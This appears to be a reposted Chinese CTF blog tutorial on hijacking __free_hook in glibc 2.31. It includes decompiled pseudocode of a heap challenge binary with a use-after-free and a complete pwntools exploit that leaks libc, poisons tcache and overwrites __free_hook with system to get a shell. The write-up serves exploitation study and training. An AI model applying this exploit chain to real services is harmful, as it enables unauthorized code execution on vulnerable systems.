首页 > 基础资料 博客日记
【Pwn】堆学习之glibc2.31下的__free_hook劫持
2026-04-01 23:00:02基础资料围观1次
极客资料网推荐【Pwn】堆学习之glibc2.31下的__free_hook劫持这篇文章给大家,欢迎收藏极客资料网享受知识的乐趣
0x0 __free_hook是什么
· __free_hook是glibc在执行free时留的一个“钩子函数”,逻辑可以简单理解如下:
void free(void *ptr) {
if (__free_hook != NULL) {
__free_hook(ptr);
return;
}
// 否则走正常free逻辑
}
· 可以看到,如果我们能控制__free_hook的内容和参数,就能在执行free时执行我们想要的函数。这就是__free_hook劫持。
0x1 __free_hook劫持一般思路
· 首先泄露一个libc地址,从而算出libc中的system和__free_hook的地址。
· 然后用UAF等方式拿到__free_hook并将其写为system.
· 最后准备一个chunk写入"/bin/sh",然后free这个chunk,就相当于执行system("/bin/sh");
0x2 例题
· 题目:
0x0 保护
0x1 伪码
int __fastcall main(int argc, const char **argv, const char **envp)
{
int result; // eax
init();
while ( 2 )
{
menu();
switch ( read_ll() )
{
case 1LL:
add();
continue;
case 2LL:
delete_();
continue;
case 3LL:
edit();
continue;
case 4LL:
show_qword();
continue;
case 5LL:
wipe();
continue;
case 6LL:
result = 0;
break;
default:
result = 0;
break;
}
break;
}
return result;
}
void __cdecl add()
{
unsigned __int64 sz; // [rsp+0h] [rbp-10h]
unsigned int idx; // [rsp+Ch] [rbp-4h]
puts("idx:");
idx = read_ll();
if ( idx >= 8 )
exit(0);
puts("size:");
sz = read_ull();
if ( sz <= 0x17 || sz > 0x600 )
exit(0);
if ( chunks[idx] )
{
puts("slot used");
}
else
{
chunks[idx] = (char *)malloc(sz);
sizes[idx] = sz;
inuse[idx] = 1;
printf("gift: %p\n", chunks[idx]);
puts("content:");
read_n(chunks[idx], sz);
}
}
void __cdecl delete_()
{
unsigned int idx; // [rsp+Ch] [rbp-4h]
puts("idx:");
idx = read_ll();
if ( idx >= 8 )
exit(0);
if ( chunks[idx] && inuse[idx] )
{
free(chunks[idx]);
inuse[idx] = 0;
puts("done");
}
else
{
puts("no");
}
}
void __cdecl edit()
{
unsigned __int64 len; // [rsp+0h] [rbp-10h]
unsigned int idx; // [rsp+Ch] [rbp-4h]
puts("idx:");
idx = read_ll();
if ( idx >= 8 )
exit(0);
if ( chunks[idx] )
{
puts("len:");
len = read_ull();
if ( len <= sizes[idx] )
{
puts("content:");
read_n(chunks[idx], len);
puts("done");
}
else
{
puts("too big");
}
}
else
{
puts("no");
}
}
void __cdecl show_qword()
{
size_t off; // [rsp+10h] [rbp-10h]
unsigned int idx; // [rsp+1Ch] [rbp-4h]
puts("idx:");
idx = read_ll();
if ( idx >= 8 )
exit(0);
if ( chunks[idx] )
{
puts("offset:");
off = read_ull();
if ( off + 8 <= sizes[idx] )
printf("0x%016llx\n", *(_QWORD *)&chunks[idx][off]);
else
puts("bad");
}
else
{
puts("no");
}
}
void __cdecl wipe()
{
unsigned int idx; // [rsp+Ch] [rbp-4h]
puts("idx:");
idx = read_ll();
if ( idx >= 8 )
exit(0);
if ( chunks[idx] && inuse[idx] )
{
free(chunks[idx]);
chunks[idx] = 0LL;
sizes[idx] = 0LL;
inuse[idx] = 0;
puts("wipe done");
}
else
{
puts("no");
}
}
0x2 思路
· 保护逻辑几乎为零,可以直接在free一个大chunk后通过show_qword函数泄露head,得到libc地址,从而算出system和__free_hook地址。然后UAF把__free_hook地址返回并向其写入system,最后准备一个写入了"/bin/sh"的chunk并将其free,从而执行system("/bin/sh")。详见exp注释。
0x3 exp
from pwn import *
context(arch='amd64', os='linux', log_level='debug', terminal=['konsole', '--noclose', '-e'])
io = process('./pwn_patched')
#io = remote()
def menu(idx: int):
io.recvuntil('exit\n>')
io.sendline(str(idx))
def add(idx: int, size: int, content: bytes):
menu(1)
io.recvuntil('idx:')
io.sendline(str(idx))
io.recvuntil('size:')
io.sendline(str(size))
io.recvuntil('content:')
io.send(content)
def delete(idx: int):
menu(2)
io.recvuntil('idx:')
io.sendline(str(idx))
def edit(idx: int, length: int, content):
menu(3)
io.recvuntil('idx:')
io.sendline(str(idx))
io.recvuntil('len:')
io.sendline(str(length))
io.recvuntil('content:')
io.send(content)
def show(idx: int, off: int):
menu(4)
io.recvuntil('idx:')
io.sendline(str(idx))
io.recvuntil('offset:')
io.sendline(str(off))
def wipe(idx: int):
menu(5)
io.recvuntil('idx:')
io.sendline(str(idx))
system_offset = 0x55410
__free_hook_offset = 0x1eeb28
'''
thinking...
A = malloc(0x420)
B = malloc(0x420)
free(A)
| unsorted bin[0x430]: head -> chunk_A -> head
show(A) | get head -> get libc_base -> get system && get __free_hook
C = malloc(0x30)
D = malloc(0x30)
E = malloc(0x30) && E + 0x00 = '/bin/sh'
free(C)
free(D)
|tcache[0x40]: head -> D -> C
edit(D.next, &__free_hook - 0x08)
F = malloc(0x30) | tcache[0x40]: head -> &__free_hook
G = malloc(0x30) && G + 0x08 = &system | G = __free_hook - 0x08 -> __free_hook = &system
free(E) | system("/bin/sh")
'''
add(0, 0x420, b'A'*0x420)
add(1, 0x420, b'B'*0x420)
# 这里申请两个chunk是为了避免free后chunk直接进入top
delete(0)
# chunk_0进入unsorted bin
show(0, 0)
# 泄露head地址,接下来用head地址算出libc基址、system地址、__free_hook地址
io.recvuntil('\n')
head = int(io.recvuntil('\n', drop=True), 16)
print('*****', head, '*****')
# gdb.attach(io)
head_offset = 0x7f1fb9494be0 - 0x7f1fb92a9000
libc_base = head - head_offset
print('*****libc_base: ', hex(libc_base), '*****')
system = libc_base + system_offset
__free_hook = libc_base + __free_hook_offset
print('*****__free_hook: ', hex(__free_hook), '*****')
add(2, 0x30, b'C'*0x30)
add(3, 0x30, b'D'*0x30)
# 这两个chunk未来用来UAF拿到__free_hook地址
add(4, 0x30, b'/bin/sh\0'+b'\0'*0x28)
# 这个chunk一来是用来存储"/bin/sh",二来是用来防止上两个chunk被并入top
delete(2)
delete(3)
edit(3, 8, p64(__free_hook - 0x8))
# UAF向next写入__free_hook。这里-0x8是保证16字节对齐。2.31的__free_hook的偏移是不对齐的。
# gdb.attach(io)
add(5, 0x30, b'F'*0x30)
# head -> __free_hook
add(6, 0x30, b'\0'*0x8 + p64(system) + b'\0'*0x20)
# 返回__free_hook - 0x8,同时向__free_hook写入system
delete(4)
# 此时__free_hook = system, free(chunk_4)等效于system("/bin/sh");
io.interactive()
文章来源:https://www.cnblogs.com/Lochad/p/19808771
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:jacktools123@163.com进行投诉反馈,一经查实,立即删除!
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:jacktools123@163.com进行投诉反馈,一经查实,立即删除!
标签:
相关文章
最新发布
- OpenAI 官方出手:把 Codex 接进 Claude Code
- 【OpenClaw】通过 Nanobot 源码学习架构---(2)外层控制逻辑
- 【Pwn】堆学习之glibc2.31下的__free_hook劫持
- Spring with AI (6): 记忆保持——会话与长期记忆
- 实际的 c++2026
- 第十九届全国大学生信息安全竞赛_babygame:Godot 游戏逆向与 AES 运行时密钥替换
- 关于列式存储(Column-base Storage)的几个要点解读
- 同样都是九年义务教育,他知道的AI算力科普好像比我多耶
- Slickflow 与 OpenClaw 结合实践:技术原理、集成方式与 Skill 说明
- 如何使用 UEFI Shell 执行 Hello World 程序

